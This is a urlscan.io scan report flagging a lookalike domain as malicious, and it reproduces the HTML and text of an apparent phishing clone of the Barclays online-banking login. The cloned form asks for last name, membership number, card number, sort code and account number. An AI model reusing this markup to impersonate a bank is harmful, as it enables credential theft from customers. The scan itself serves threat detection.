barclays.confirm-devapp.com
Open in
urlscan Pro
47.251.44.184
Malicious Activity!
Public Scan
URL:
https://barclays.confirm-devapp.com/
Submission: On January 08 via api from JP — Scanned from JP
Submission: On January 08 via api from JP — Scanned from JP
Form analysis
2 forms found in the DOM<form></form>
<form id="login-form" autocomplete="off" class="ng-invalid ng-invalid-required ng-dirty">
<div ng-if="browser.valid" class="ng-scope">
<header-content class="ng-scope">
<div class="marginHead">
<b-text id="header-change" class="head-color ng-isolate-scope" type="h2" b-data="How would you like to log in?" dss-dda-component="DDA Specific Component Attribute">
<h2>How would you like to log in?</h2>
</b-text>
</div>
<div class="marginHeadSubheader">
<b-text id="headerContent" type="span" class="font16px font-family ng-isolate-scope" b-data="Not registered for Online Banking?" dss-dda-component="DDA Specific Component Attribute">
<span>Not registered for Online Banking?</span>
</b-text>
<a class="normal " id="1etg2kcq8" tabindex="" href="/olb/registration/registerAppContainer.do" analytics-tag="" dss-dda-component="DDA Specific Component Attribute">
<span class="ng-binding ng-scope">Register now</span>
</a>
<span class="dotStyle">.</span>
</div>
</header-content> <!-- ngIf: !mobileView --> <!-- ngIf: mobileView -->
<div ng-if="mobileView" role="main" class="ng-scope">
<b-radio id="rdoLoginType" name="rdoLoginType" ng-model="model.loginType" data="rdoLoginTypes" value-field="value" display-field="dsdname" arrange="controls-stacked" ng-change="rdoLoginTypeChange()" analytics-tag="" analytics-label="loginType"
class="ng-isolate-scope ng-valid ng-dirty" dss-dda-component="DDA Specific Component Attribute">
<div role="radiogroup" class="form-item radio-element controls-stacked" aria-activedescendant="rdoLoginType_membership"
ng-class="{'has-error':(formController[name].$invalid && formController[name].$dirty && validationErrors) || (formController.showErrorsIfAny && formController[name].$invalid)}" id="b-radio-rdoLoginType">
<label ng-show="label" id="b-radio-dda-label-rdoLoginType" class="ng-binding ng-hide"></label>
<fieldset>
<label class="control control-radio ng-scope first-child" ng-click="vm.click($event)" ng-repeat="(key, value) in scopeData" ng-class="{'last-child':$last, 'first-child':$first}">
<input type="radio" name="membership" value="membership" id="rdoLoginType_membership" class=" control-input" ng-disabled="ngDisabled || value.isDisabled" aria-labelledby="b-radio-dda-label-rdoLoginType b-radio-rdoLoginType-membership "
aria-describedby="b-radio-additional-rdoLoginType-membership radio-err-1etg2msse" aria-checked="true" aria-required="false" tabindex="" ng-blur="ngBlur()" ng-checked="isChecked(value[valueField])" checked="checked">
<span id="b-radio-span-rdoLoginType-0" class="control-indicator">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12" class="icon-radio">
<rect width="12" height="12" fill-rule="evenodd" rx="6"></rect>
</svg>
</span>
<span class="control-description">
<span id="b-radio-rdoLoginType-membership" class="ng-binding">Membership number</span>
</span>
</label>
<label class="control control-radio ng-scope" ng-click="vm.click($event)" ng-repeat="(key, value) in scopeData" ng-class="{'last-child':$last, 'first-child':$first}">
<!-- <label id="b-radio-label-{{id}}-{{key}}" class="pull-left"></label>-->
<input type="radio" name="cardnumber" value="cardNumber" id="rdoLoginType_cardNumber" class=" control-input" ng-disabled="ngDisabled || value.isDisabled" aria-labelledby="b-radio-dda-label-rdoLoginType b-radio-rdoLoginType-cardNumber "
aria-describedby="b-radio-additional-rdoLoginType-cardNumber radio-err-1etg2msse" aria-checked="false" aria-required="false" tabindex="" ng-blur="ngBlur()" ng-checked="isChecked(value[valueField])">
<span id="b-radio-span-rdoLoginType-1" class="control-indicator">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12" class="icon-radio">
<rect width="12" height="12" fill-rule="evenodd" rx="6"></rect>
</svg>
</span>
<span class="control-description">
<!-- ngIf: value.icon -->
<span id="b-radio-rdoLoginType-cardNumber" class="ng-binding">Card number</span>
<!-- ngIf: value['htmlContent'] -->
</span>
</label>
<!-- end ngRepeat: (key, value) in scopeData -->
<label class="control control-radio ng-scope last-child" ng-click="vm.click($event)" ng-repeat="(key, value) in scopeData" ng-class="{'last-child':$last, 'first-child':$first}">
<!-- <label id="b-radio-label-{{id}}-{{key}}" class="pull-left"></label>-->
<input type="radio" name="sortcode" value="sortCode" id="rdoLoginType_sortCode" class=" control-input" ng-disabled="ngDisabled || value.isDisabled" aria-labelledby="b-radio-dda-label-rdoLoginType b-radio-rdoLoginType-sortCode "
aria-describedby="b-radio-additional-rdoLoginType-sortCode radio-err-1etg2msse" aria-checked="false" aria-required="false" tabindex="" ng-blur="ngBlur()" ng-checked="isChecked(value[valueField])">
<span id="b-radio-span-rdoLoginType-2" class="control-indicator">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12" class="icon-radio">
<rect width="12" height="12" fill-rule="evenodd" rx="6"></rect>
</svg>
</span>
<span class="control-description">
<!-- ngIf: value.icon -->
<span id="b-radio-rdoLoginType-sortCode" class="ng-binding">Sort code and account number</span>
<!-- ngIf: value['htmlContent'] -->
</span>
</label><!-- end ngRepeat: (key, value) in scopeData -->
</fieldset>
<div id="radio-err-1etg2msse">
<div ng-show="(formController[name].$invalid && formController[name].$dirty && currentState && validationErrors) ||
(formController.showErrorsIfAny && formController[name].$invalid && currentState)" class="ng-hide">
<!-- ngRepeat: (key, value) in formController[name].$error -->
</div>
<div ng-show="(formController[name].$invalid && formController[name].$dirty && !currentState && validationErrors) ||
(formController.showErrorsIfAny && formController[name].$invalid && !currentState)" class="ng-hide">
<!-- ngRepeat: (key, value) in formController[name].$error -->
</div>
</div>
</div>
</b-radio>
<div id="membershipNumber"> <!-- ngInclude: undefined -->
<ng-include class="ng-scope">
<ng-form id="membershipForm" name="membershipForm" autocomplete="off" novalidate="" show-errors-if-any="false" class="ng-scope ng-pristine ng-valid">
<div class="MemNoInput"> <!-- THIS IS THE LAST NAME INPUT -->
<div class="ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3">
<div class="form-item">
<label class="label">
<span for="surnameMem" id="label-surnameMem">Last name</span>
<label for="surnameMem" id="extraLabelData-surnameMem" class="ng-binding" aria-hidden="true"></label>
</label>
<div class="input-wrapper">
<span class="input-prefix"></span>
<span class="input-suffix"></span>
<!-- LAST NAME -->
<input class="input ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3" id="surnameMem" name="lastname1" type="text" maxlength="24" autocomplete="surname" aria-autocomplete="inline">
</div>
</div>
</div>
</div>
<div class="membershipNumber"> <!-- THIS IS THE MEMBERSHIP NUMBER INPUT -->
<div class="ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3">
<div class="form-item">
<label class="label">
<span for="membership0">Membership number (12 digits)</span>
<label for="membership0" class="ng-binding"></label>
</label>
<div class="input-wrapper">
<span class="input-prefix"></span>
<span class="input-suffix"></span>
<!-- MEMBERSHIP NUMBER -->
<input aria-labelledby="label-membership0 extraLabelData-membership0" aria-describedby="described-membership0 input-err-1etg2mssp"
class="input ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3" id="membership0" name="membershipnumber" type="text" aria-label="12 digits">
</div>
</div>
</div>
</div>
<div class="forgotMembershipLink"> <!-- THIS IS THE FORGOT MEMBERSHIP NUMBER LINK -->
<a class="normal" id="forgotMembershipLink">
<span class="ng-scope">Don't know your membership number?</span>
</a>
</div>
</ng-form>
</ng-include>
</div>
<div id="cardNumber" style="display: none;"> <!-- ngInclude: undefined -->
<ng-include class="ng-scope">
<ng-form id="membershipForm" name="membershipForm" autocomplete="off" novalidate="" show-errors-if-any="false" class="ng-scope ng-pristine ng-valid">
<div class="MemNoInput"> <!-- THIS IS THE LAST NAME INPUT -->
<div class="ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3">
<div class="form-item">
<label class="label">
<span for="surnameMem" id="label-surnameMem">Last name</span>
<label for="surnameMem" id="extraLabelData-surnameMem" class="ng-binding"></label>
</label>
<div class="input-wrapper">
<span class="input-prefix"></span>
<span class="input-suffix"></span>
<!-- LAST NAME -->
<input class="input ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3" id="surnameMem" name="lastname2" type="text" maxlength="24" autocomplete="surname" aria-autocomplete="inline">
</div>
</div>
</div>
<div class="membershipNumber"> <!-- THIS IS THE CARD NUMBER INPUT -->
<div class="ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3">
<div class="form-item">
<label class="label">
<span for="cardnumber">Card number (16 digits)</span>
<label for="cardnumber" class="ng-binding"></label>
</label>
<div class="input-wrapper">
<span class="input-prefix"></span>
<span class="input-suffix"></span>
<input aria-labelledby="label-membership0 extraLabelData-membership0" aria-describedby="described-membership0 input-err-1etg2mssp"
class="input ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3" id="cardnumber" name="cardnumber" type="text">
</div>
</div>
</div>
</div>
</div>
</ng-form></ng-include>
</div>
<div id="sortCodeAccountNumber" style="display: none !important;"> <!-- ngInclude: undefined -->
<ng-include class="ng-scope">
<ng-form id="membershipForm" name="membershipForm" autocomplete="off" novalidate="" show-errors-if-any="false" class="ng-scope ng-pristine ng-valid">
<div class="MemNoInput"> <!-- THIS IS THE LAST NAME INPUT -->
<div class="ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3">
<div class="form-item">
<label class="label">
<span for="surnameMem" id="label-surnameMem">Last name</span>
<label for="surnameMem" id="extraLabelData-surnameMem" class="ng-binding" aria-hidden="true"></label>
</label>
<!-- LAST NAME -->
<input class="input ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2 ng-valid-i-n-p3" id="surnameMem" name="lastname3" type="text" maxlength="24" autocomplete="surname" aria-autocomplete="inline">
</div>
</div>
</div>
<div class="sortCodeInput"> <!-- THIS IS THE SORT CODE INPUT -->
<div class="multi-input-container form-item ng-scope ng-pristine ng-invalid ng-invalid-required ng-valid-i-n-p1 ng-valid-i-n-p2" id="sortCode" separator="-" name="sortcode" format="XX-XX-XX" label="Sort code" no-of-inputs="3">
<label class="label">
<span>Sort code</span>
</label>
<div class="row">
<div class="col-xs-4 col-sm-4 col-md-4 col-lg-4 separator-hyphen">
<input class="input ng-pristine ng-valid" maxlength="2" type="text" aria-labelledby="sortCode-1" separator="-" format="XX-XX-XX" no-of-inputs="3" name="sortcode1">
</div>
<div class="col-xs-4 col-sm-4 col-md-4 col-lg-4 separator-hyphen">
<span class="sub-label ng-binding" aria-hidden="true"></span>
<input class="input ng-pristine ng-valid" maxlength="2" type="text" aria-labelledby="sortCode-1" separator="-" format="XX-XX-XX" no-of-inputs="3" name="sortcode2">
</div>
<div class="col-xs-4 col-sm-4 col-md-4 col-lg-4 ">
<span class="sub-label ng-binding" aria-hidden="true"></span>
<input class="input ng-pristine ng-valid" maxlength="2" type="text" aria-labelledby="sortCode-1" separator="-" format="XX-XX-XX" no-of-inputs="3" name="sortcode3">
</div>
</div>
</div>
</div>
<div class="accNoInput"> <!-- THIS IS THE ACCOUNT NUMBER INPUT -->
<div class="ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2">
<div class="form-item">
<label class="label">
<span for="accountNumber" id="label-accountNumber">Account number</span>
<label for="accountNumber" id="extraLabelData-accountNumber" class="visuallyhidden ng-binding" aria-hidden="true"></label>
</label>
<div class="input-wrapper">
<span class="input-prefix"></span>
<span class="input-suffix"></span>
<input ng-attr-tabindex="" aria-labelledby="label-accountNumber extraLabelData-accountNumber" aria-describedby="described-accountNumber input-err-1etg2mstc "
class="input ng-pristine ng-valid ng-valid-required ng-valid-i-n-p1 ng-valid-i-n-p2" id="accountNumber" name="accountnumber" type="text" maxlength="8">
</div>
</div>
</div>
</div>
</ng-form>
</ng-include>
</div>
<div class="checkboxWidth"> <b-check id="checkbox1" name="confirmation" ng-model="model.rememberToken" data="rememberMeCheck" arrange="controls-stacked" value-field="value" display-field="displayMobile" aria-label="displayMobile"
aria-describedby="value" analytics-tag="" class="ng-isolate-scope ng-pristine ng-valid" dss-dda-component="DDA Specific Component Attribute">
<div class="form-item checkbox-element controls-stacked" ng-class="{'has-error':(formController[name].$invalid && formController[name].$dirty) || (formController.showErrorsIfAny && formController[name].$invalid)}"
id="b-checkbox-checkbox1">
<!-- ngIf: label -->
<fieldset>
<!-- ngIf: label -->
<!-- ngRepeat: (key,item) in scopeData --><label class="control control-checkbox ng-scope last-child first-child" ng-class="{'last-child':$last, 'first-child':$first}" ng-repeat="(key,item) in scopeData">
<div class="click-event-container">
<input type="checkbox" name="confirmation" value="Y" id="checkbox1_Y" class=" control-input" ng-disabled="ngDisabled" aria-required="false" aria-describedby="b-checkbox-additional-checkbox1-0 checkbox-err-1etg2mssg" tabindex=""
ng-checked="isChecked(item[valueField])" ng-click="checkBoxClick($event)">
<span id="b-checkbox-span-checkbox1-0" class="control-indicator" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 14.01 10" class="icon-tick">
<title>Tick</title>
<path d="M5.45,8.81.82,5.11a.5.5,0,1,0-.64.76l0,0,5,4a.51.51,0,0,0,.69-.06l8-9a.5.5,0,0,0,0-.7h0a.5.5,0,0,0-.7,0h0Z"></path>
</svg>
</span>
<span class="control-description">
<span id="b-checkbox-checkbox1-0" class="ng-binding">Remember my last name and login method.Don't tick the box if you're using a public or shared device</span>
<span id="b-checkbox-additional-checkbox1-0">
<!-- ngIf: item.htmlContent -->
<!-- ngIf: !item.htmlContent --><span ng-if="!item.htmlContent" class="additional-text ng-binding ng-scope">
</span><!-- end ngIf: !item.htmlContent -->
</span>
</span>
</div>
</label><!-- end ngRepeat: (key,item) in scopeData -->
</fieldset>
<div id="checkbox-err-1etg2mssg">
<div ng-show="(formController[name].$invalid && formController[name].$dirty && currentState) || (formController.showErrorsIfAny && formController[name].$invalid && currentState)" class="ng-hide">
<!-- ngRepeat: (key, value) in formController[name].$error -->
</div>
<div ng-show="(formController[name].$invalid && formController[name].$dirty && !currentState) || (formController.showErrorsIfAny && formController[name].$invalid && !currentState)" class="ng-hide">
<!-- ngRepeat: (key, value) in formController[name].$error -->
</div>
</div>
</div>
</b-check> </div>
</div><!-- end ngIf: mobileView -->
<div class="seperator"></div>
<div class="marginUpDown"> <button id="continue" class="btn rolbBtn btn btn-primary marginDownMobile" ng-click="submitForm()" name="$$submit" value="Continue" analytics-tag="" dss-dda-component="DDA Specific Component Attribute">
<ng-transclude></ng-transclude> Continue </button>
</div>
</div><!-- end ngIf: browser.valid -->
</form>
Text Content
Secure LOG IN TO ONLINE BANKING HOW WOULD YOU LIKE TO LOG IN? Not registered for Online Banking? Register now . Membership number Card number Sort code and account number Last name Membership number (12 digits) Don't know your membership number? Last name Card number (16 digits) Last name Sort code Account number Tick Remember my last name and login method.Don't tick the box if you're using a public or shared device Continue FREQUENTLY ASKED QUESTIONS * Service status * To check how our services are running and see our planned maintenance, head to status.uk.barclays or type ‘status.barclays’ into your browser. * Is saving my details safe? * If you tick the 'remember me' box, your details will only be retained on the device you're using at the time. That's why we don't recommend you do so on any public or shared devices. This means you don't need to worry about anyone else seeing the details. Even if they do, there isn't enough information there for anyone to access your accounts in Online Banking or any other way. If you want to save your details, you need to make sure you've switched cookies on for your browser – that's how the information is stored. * What does error code 6 mean? * If you're having problems logging in to Online Banking, you may need to clear your internet browser's cache or update the browser. Below is a guide to clearing the cache for the most common browsers. You can also find the information in your browser's 'help' section. PC USERS: Internet Explorer (IE) – press Ctrl, Shift and Delete together, then select 'temporary internet files' and click 'delete' Chrome – press Ctrl, Shift and Delete together. In the 'clear browsing data window', select 'cached images and files' only, then click 'clear browsing data' Firefox – press Ctrl, Shift and Delete together, then select 'clear recent history', select 'cache' only within 'details', then click 'clear now' Safari – press Ctrl, Alt and the letter E together, then select 'empty' MAC USERS: Chrome – Cmd, Shift and the letter R together Firefox – Cmd, Shift and the letter R together Safari – Cmd, Alt button and the letter E together To update your browser, please check your browser's help section. * How to reset your memorable word and passcode If you need help resetting your memorable word and passcode, you can find out how or watch our video. * How do I login with Mobile PINsentry? * If you haven't logged in to the app, tap the 'PINsentry' button in the top left-hand corner of the log-in screen. If you're already logged in, tap the menu icon in the top left-hand corner and then select 'Mobile PINsentry' from the list. Once you're on the Mobile PINsentry page, select 'Identify' and follow the on-screen instructions. Watch our video to find out how to use Mobile PINsentry at www.barclays.co.uk/help/mobile-banking/pinsentry/info/ Need more help? * Service status * Contact us * Security * Accessibility See our cookies policy Barclays Bank UK PLC and Barclays Bank PLC are each authorised by the Prudential Regulation Authority and regulated by the Financial Conduct Authority and the Prudential Regulation Authority. Barclays Insurance Services Company Limited and Barclays Investment Solutions Limited are each authorised and regulated by the Financial Conduct Authority. Registered office for all: 1 Churchill Place, London E14 5HP COOKIES We would like to collect data from your device while you use this website. We do this using cookies. You can find out more in our cookie policy. Collecting this data helps us provide the best experience for you, keeps your account secure, helps us provide social media features and allows us to personalise advert and service message content. Please select 'Accept all' to consent to us collecting your data in this way. To see other data collection options, select 'Preferences'. Preferences Accept All